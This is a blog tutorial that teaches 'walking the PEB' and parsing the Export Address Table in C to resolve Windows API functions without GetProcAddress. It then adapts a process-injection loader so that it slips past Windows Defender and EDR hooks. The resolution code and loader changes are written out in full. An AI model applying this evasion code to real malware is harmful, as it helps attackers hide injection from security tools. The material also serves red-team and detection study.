In previous posts, I covered Windows Process Injection Fundamentals and introduced an obfuscation method called Alphabet Soup. These examples started with the most basic example and left off with dynamic function resolution to obscure suspicious function names.
This is a solid start for obscuring the purpose of our code against static analysis, but it still depends on the GetProcAddress function call. We can obfuscate the GetProcAddress function name as well, but we still end up invoking a high-profile API that EDR vendors scrutinize.
We can further enhance our OPSEC and avoid invoking GetProcAddress entirely by using a technique called ‘Walking the PEB’ to parse the Process Environment Block. By stepping through the PEB data structures, we can manually locate modules and functions.
Press enter or click to view image in full size
The windows-process-injection repository has examples, samples, and snippets that are referenced throughout this post.
The AlphabetSoup project is an obfuscation technique with a PoC loader named 'alphabet-loader.cpp’ , which will be enhanced to demonstrate the PEB-walk technique to bypass Windows Defender at the end of this post.
Every process has a Process Environment Block that contains important information about the process.
Microsoft provides the following PEB data structure with the caveat that it may change in future Windows versions.
typedef struct _PEB {
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
PVOID Reserved4[3];
PVOID AtlThunkSListPtr;
PVOID Reserved5;
ULONG Reserved6;
PVOID Reserved7;
ULONG Reserved8;
ULONG AtlThunkSListPtr32;
PVOID Reserved9[45];
BYTE Reserved10[96];
PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
BYTE Reserved11[128];
PVOID Reserved12[1];
ULONG SessionId;
} PEB, *PPEB;https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb
For manual module and function resolution, we will parse the PEB and Ldr (PPEB_LDR_DATA) structures.
The location of the PEB can be found by parsing another data structure: the Thread Environment Block (TEB).
The TEB data structure is defined as follows:
typedef struct _TEB {
PVOID Reserved1[12];
PPEB ProcessEnvironmentBlock;
PVOID Reserved2[399];
BYTE Reserved3[1952];
PVOID TlsSlots[64];
BYTE Reserved4[8];
PVOID Reserved5[26];
PVOID ReservedForOle;
PVOID Reserved6[4];
PVOID TlsExpansionSlots;
} TEB, *PTEB;https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-teb
The second element in the TEB structure is the ProcessEnvironmentBlock.
The function GetLocalTebAddress in includes\peb-eat-utils.h retrieves the TEB location from the current process that utilizes an offset which varies on 32/64 bit architectures:
// obtain the local process TEB
void* GetLocalTebAddress(void) {
#ifdef _WIN64
return (void*)__readgsqword(0x30);
#else
return (void*)__readfsdword(0x18);
#endif
}This function is invoked at the beginning of peb-walk.cpp to retrieve the TEB location:
void* teb = GetLocalTebAddress();
if (debugOutput) {
printf("Current process TEB address: %p\n", teb);
}We can then use TEB address in the calculation to locate the PEB structure and cast the PPEB data type.
peb = (TEB address + PEB offset)
The PEB offset value is architecture-dependent (32/64–bit):
// maybe move this to a GetLocalPebAddress function?
// this is good for demonstration but we can really skip straight to the PEB
void* peb = NULL;
#ifdef _WIN64
// On x64, PEB is at TEB + 0x60
peb = *(void**)((unsigned char*)teb + 0x60);
#else
// On x86, PEB is at TEB + 0x30
// not currently used, but good to have around
peb = *(void**)((unsigned char*)teb + 0x30);
#endif
if (debugOutput) {
printf("Current process PEB address (TEB + offset): %p\n", peb);
} // https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb#remarks
// Assuming peb_address holds the valid memory location of the PEB
PPEB peb_ptr = (PPEB)peb;
We now have a pointer to the PEB object in peb_ptr.
Now that we found the PEB, what are we gonna dooooo with itttttt????
We need to write our own implementation of GetProcAddress, so the first question is: What does GetProcAddress do?
FARPROC GetProcAddress(
[in] HMODULE hModule,
[in] LPCSTR lpProcName
);GetProcAddress “Retrieves the address of an exported function (also known as a procedure) or variable from the specified dynamic-link library (DLL).”
Source: https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress
To maintain obfuscation, we need to avoid using the ‘GetProcAddress’ string in our function name. We’ll use ‘GPA’ for shorthand and call our implementation GPAManualByName.
The ‘lpProcName’ parameter can be either the function name or the function ordinal (numerical index). For this project, we will create two functions: one to find a function by name and another to search by ordinal value.
GPAManualByName: Locates the address of a specified function name, searching from a given module base address, and returns the result.
GPAManualByOrdinal: Locates the address of a specified function ordinal, searching from a given module base address, and returns the result.
Let’s also create a helper function that uses the PEB to locate the base address for a module. It will be useful to have in our toolkit.
GetModuleBaseManual: Locates the base address of a specified module name and returns it.
All three of these functions are defined in includes\peb-eat-utils.h
To accomplish our goals, the primary object we are interested in within the PEB is the Ldr (PPEB_LDR_DATA) object:
PPEB_LDR_DATA Ldr;The PPEB_LDR_DATA data structure contains a doubly-linked list, InMemoryOrderModuleList, that contains all of the modules that have been loaded by the process:
typedef struct _PEB_LDR_DATA {
BYTE Reserved1[8];
PVOID Reserved2[3];
LIST_ENTRY InMemoryOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;The LIST_ENTRY data structure contains the Forward Link (Flink) and Back Link (Blink) references needed to iterate through the list:
typedef struct _LIST_ENTRY {
struct _LIST_ENTRY *Flink;
struct _LIST_ENTRY *Blink;
} LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;The entries in the list have the data type LDR_DATA_TABLE_ENTRY, which represents a loaded module and includes the DLL name inFullDllName.
typedef struct _LDR_DATA_TABLE_ENTRY {
PVOID Reserved1[2];
LIST_ENTRY InMemoryOrderLinks;
PVOID Reserved2[2];
PVOID DllBase;
PVOID Reserved3[2];
UNICODE_STRING FullDllName;
BYTE Reserved4[8];
PVOID Reserved5[3];
union
{
ULONG CheckSum;
PVOID Reserved6;
};
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;All three of these structures are documented on:
https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb_ldr_data
Question: Can we use the FullDllName from LDR_DATA_TABLE_ENTRYto check the module?
Answer: Yes and no. It depends on how thorough we need to be.
For this project, we will continue stepping through data structures to parse the Export Directory Table.
The Export Directory Table is an optional PE header element within the Data Directory that lists the functions the DLL exposes.
The Name field in the Export Directory is defined by the compiler/linker when the DLL is built. It is almost always a simple string like ntdll.dll. By checking the Export Table, we are verifying what the DLL calls itself, rather than what the Windows Loader labels it.
Field: Name RVA
Offset: 12
Size: 4
Description: The address of the ASCII string that contains the name of the DLL. This address is relative to the image base.
https://learn.microsoft.com/en-us/windows/win32/debug/pe-format#export-directory-table
The first step is to determine the base address of the module containing the target function.
From peb-walk.cpp, we call GetModuleBaseManual, which is defined in includes\peb-eat-utils.h
The GetModuleBaseManual function takes two parameters: a pointer to the PEB and the DLL name to locate. In this example, we are looking for USER32.dll:
PVOID dllBase = GetModuleBaseManual(peb_ptr, "USER32.dll");The function starts by accessing the pebObject, which contains the Ldr (Loader Data). This structure acts as the process’s internal ledger, containing linked lists that track every module currently mapped into the process’s memory space.
Next, the function enters a while loop to iterate through the InMemoryOrderModuleList. This is a doubly linked list where each node represents a loaded DLL (such as ntdll.dll or kernel32.dll). It uses the CONTAINING_RECORD macro to cast the list entry back into a full LDR_DATA_TABLE_ENTRY structure.
For every module found, the function performs a sanity check to ensure it is looking at a valid executable:
MZ signature (IMAGE_DOS_SIGNATURE).e_lfanew) to find the NT headers and confirms the PE signature (IMAGE_NT_SIGNATURE). This step ensures the script doesn't crash by trying to read non-executable memory.// get DOS Header
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)moduleBase;
if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
printf("Invalid DOS Signature\n");
return NULL;
}// get NT Headers using the offset from DOS Header
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)moduleBase + dosHeader->e_lfanew);
if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) {
printf("Invalid NT Signature\n");
return NULL;
}
// Locate the Export Directory in the Data Directory
IMAGE_DATA_DIRECTORY exportDataDir = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
if (exportDataDir.VirtualAddress == 0) {
// does this case matter? maybe with debug enabled
//printf("No Export Table found for entry %wZ\n", &fileName);
}
After the headers are validated, it looks into the Data Directory (part of the Optional Header) to find the Export Directory. This directory contains the metadata defined by the compiler when the DLL was built.
Instead of trusting the filename in the Loader list (which can be spoofed or altered in the file system), the function calculates the memory address of the DLL’s NameOffset using RVA (Relative Virtual Address) math:
ModuleBaseAddress + ExportDirectory->NameOffsetFinally, it performs a case-insensitive string comparison (my_stricmp) between the name found inside the DLL and the targetModuleName. If the values match, it returns the moduleBase address; otherwise, it moves to the next link in the list until it either finds a match or returns to the head of the list.
PVOID dllBase = GetModuleBaseManual(peb_ptr, "USER32.dll");Now we have a pointer to the base address in dllBase.
With the module base successfully resolved, we can now pivot to locating a specific function within that module’s Export Address Table (EAT).
Join Medium for free to get updates from this writer.
From peb-walk.cpp we call GPAManualByName, which is defined in includes\peb-eat-utils.h
GPAManualByName takes two parameters: a module handle to the DLL base and the function name to locate.
PVOID rvaFound = GPAManualByName((HMODULE) dllBase, "MessageBoxA");Just like the previous function, this one starts by verifying the DOS and NT Headers. It then extracts the Export Directory RVA from the Data Directory. If the DLL has no exports (like a resource-only DLL), the function exits early.
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew);IMAGE_DATA_DIRECTORY exportDataDir = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
if (exportDataDir.VirtualAddress == 0) return NULL;
To resolve a name to an address, the function maps three critical arrays from the IMAGE_EXPORT_DIRECTORY:
AddressOfNames: An array of pointers (RVAs) to strings (the actual function names like NtCreateThread).AddressOfNameOrdinals: A map array to translate.AddressOfFunctions: An array containing the actual memory offsets (RVAs) for the code.PIMAGE_EXPORT_DIRECTORY exports = (PIMAGE_EXPORT_DIRECTORY)(base + exportDataDir.VirtualAddress);PDWORD names = (PDWORD)(base + exports->AddressOfNames);
PWORD ordinals = (PWORD)(base + exports->AddressOfNameOrdinals);
PDWORD functions = (PDWORD)(base + exports->AddressOfFunctions);
Because the names in the AddressOfNames array are sorted alphabetically by the compiler, the function uses a Binary Search algorithm, which mimics GetProcAddress.
This makes the lookup extremely fast, even in massive DLLs like ntdll.dll, which contain hundreds of functions.
Once a name match is found at index mid, the function doesn't just look at functions[mid]. It performs a crucial intermediate step:
ordinals[mid].functions array: functions[ordinalValue]. This is necessary because the number of named functions might be smaller than the total number of exported functions.if (cmp == 0) {
// Match found!
WORD ordinalValue = ordinals[mid];
DWORD funcRVA = functions[ordinalValue];
...
return (PVOID)(base + funcRVA);
}The function includes a safety check to ensure the resulting funcRVA points within the Export Directory's memory range.
kernel32.dll that actually lives in ntdll.dll) and returns NULL.// Forwarder Check
if (funcRVA >= exportDataDir.VirtualAddress &&
funcRVA < (exportDataDir.VirtualAddress + exportDataDir.Size)) {
// Add more forwarder logic here
return NULL;
}If the function is not forwarded, it adds the funcRVA to the module's base address. The result is a usable pointer to the function that can be cast and called directly in code.
return (PVOID)(base + funcRVA);With the module base successfully resolved, we can now pivot to locating a specific function within that module’s Export Address Table (EAT).
From peb-walk.cpp, we invoke GPAManualByOrdinal, which is defined in includes\peb-eat-utils.h.
This function accepts two parameters: the HMODULE (the base address of the DLL) and the specific ordinal of the function we want to resolve.
PVOID rvaFound = GPAManualByOrdinal((HMODULE) dllBase, 2151);Following the same pattern as our previous manual parsers, this function starts by parsing the DOS and NT Headers. It then extracts the Export Directory RVA from the Data Directory.
// Navigate to the Export Directory (standard PE parsing)
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew);
PIMAGE_EXPORT_DIRECTORY exports = (PIMAGE_EXPORT_DIRECTORY)(base +
nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);A common pitfall when parsing the EAT is ignoring the Base field within the IMAGE_EXPORT_DIRECTORY.
Base of 100 and you request Ordinal 105, the function is actually located at index 5 of the address array.functionIndex = ordinal - exports->Base, ensuring our request aligns perfectly with the zero-based memory array.// Adjust the ordinal
DWORD functionIndex = ordinal - exports->Base;To ensure operational stability, the function validates that the calculated functionIndex does not exceed the NumberOfFunctions declared in the Export Directory. This prevents out-of-bounds reads that would otherwise lead to an access violation or a process crash.
// Bounds check
if (functionIndex >= exports->NumberOfFunctions) return NULL;Resolving by name requires iterating through the AddressOfNames and matching it to a map (the AddressOfNameOrdinals array). Resolving by ordinal is a shortcut that allows Direct Array Access.
By navigating directly to the AddressOfFunctions array and using our calculated index, we can immediately retrieve the RVA (Relative Virtual Address) of the target function.
DWORD funcRVA = functionsArray[functionIndex];The function concludes by adding the retrieved RVA to the module’s base address. This transformation turns a relative offset into an absolute memory address, providing a usable pointer to the executable code that can be cast and called directly.
return (PVOID)(base + funcRVA);With the function’s memory address successfully resolved in rvaFound, we are ready to invoke the target code. Because we are bypassing the standard linker and header-file inclusion for this call, we must manually define the function's signature so the compiler knows how to prepare the stack and registers.
For demonstration, we are targeting the MessageBoxA API. According to the official documentation, the signature requires four parameters:
int MessageBoxA(
[in, optional] HWND hWnd,
[in, optional] LPCSTR lpText,
[in, optional] LPCSTR lpCaption,
[in] UINT uType
);Source: https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-messageboxa
To interact with this address, we must define a corresponding function pointer type. This ensures that when we call our resolved address, the arguments are passed in the correct order for the WINAPI calling convention.
// custom type defs for function invocation
typedef int (WINAPI* myMessageBoxA)(HWND hWnd, LPCSTR lptext, LPCSTR lpCaption, UINT uType);PVOID rvaFound = GPAManualByName((HMODULE) dllBase, "MessageBoxA");The final step is to cast the generic PVOID address to our custom myMessageBoxA type. This informs the compiler that rvaFound points to executable code matching our defined signature.
// MessageBoxA example
myMessageBoxA dynamicMsgBox = NULL;
dynamicMsgBox = (myMessageBoxA)rvaFound;
dynamicMsgBox(NULL, "Executed via manual address resolution!", "Success", MB_OK); Compile the peb-walk PoC and the supporting components.
cl.exe /W0 /EHsc /I "..\includes" peb-walk.cpp ..\includes\peb-eat-utils.cpp ..\includes\utils.cpp /Fe:peb-walk.exeExecute peb-walk.exe, and a Message Box should display, confirming success.
Press enter or click to view image in full size
Message boxes certainly help to illustrate a point, but the goal is to leverage this in process injection, so the job isn’t quite done yet.
Let’s enhance the Alphabet Soup loader with the PEB-walking technique.
Take our previous code, and we’ll add the utils.h and peb-eat-utils.h includes.
#include "../includes/utils.h" // crt replacements
#include "../includes/peb-eat-utils.h" // custom peb/eat walking functionsResolve the TEB and PEB
void* teb = GetLocalTebAddress();
printf("Current process TEB address: %p\n", teb);// maybe move this to a GetLocalPebAddress function?
// this is good for demonstration but we can really skip straight to the PEB
void* peb = NULL;
#ifdef _WIN64
// On x64, PEB is at TEB + 0x60
peb = *(void**)((unsigned char*)teb + 0x60);
#else
// On x86, PEB is at TEB + 0x30
// not currently used, but good to have around
peb = *(void**)((unsigned char*)teb + 0x30);
#endif
printf("Current process PEB address (TEB + offset): %p\n", peb);
// https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb#remarks
// Assuming peb_address holds the valid memory location of the PEB
PPEB peb_ptr = (PPEB)peb;
Remove the call toGetModuleHandleA for kernel32.dll
// Obtain a handle to the kernel32.dll module, this will be passed to GetProcAddress
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
if (hKernel32 == NULL) {
printf("[ERROR] Failed to get handle to kernel32.dll. Error: %u\n", GetLastError());
return -1;
}Add the GetModuleBaseManual call to resolve the DLL base RVA
// resolve the module base
PVOID kernel32Base = GetModuleBaseManual(peb_ptr, "kernel32.dll");Replace GetProcAddress calls with GPAManualByName
// Use GPAManualByName to get the address of the VirtualAllocEx function
myVirtualAllocEx = (P_VirtualAllocEx)GPAManualByName((HMODULE) kernel32Base, "VirtualAllocEx");
if (myVirtualAllocEx == nullptr) {
printf("[ERROR] Failed to resolve VirtualAllocEx. Error: %u\n", GetLastError());
return -1;
}// Use GetProcAddress to get the address of the WriteProcessMemory function
myWriteProcessMemory = (P_WriteProcessMemory)GPAManualByName((HMODULE) kernel32Base, "WriteProcessMemory");
if (myWriteProcessMemory == nullptr) {
printf("[ERROR] Failed to resolve WriteProcessMemory. Error: %u\n", GetLastError());
return -1;
}
Press enter or click to view image in full size
By manually resolving and invoking function pointers, we achieve several key operational advantages:
GetProcAddress and MessageBoxA never appear in the binary’s Import Address Table (IAT), making static analysis significantly more difficult.kernel32!GetProcAddress entirely. Since many security products hook this specific function to monitor for suspicious exports, bypassing it allows our loader to operate under the radar.It is important to note that while manual PEB and EAT parsing successfully evades IAT-based redirection and GetProcAddress instrumentation, it remains vulnerable to Inline Hooks (trampolines).
To achieve full evasion against modern EDRs, this technique serves as the essential foundation for more advanced maneuvers:
.text section with clean code from a known-good source.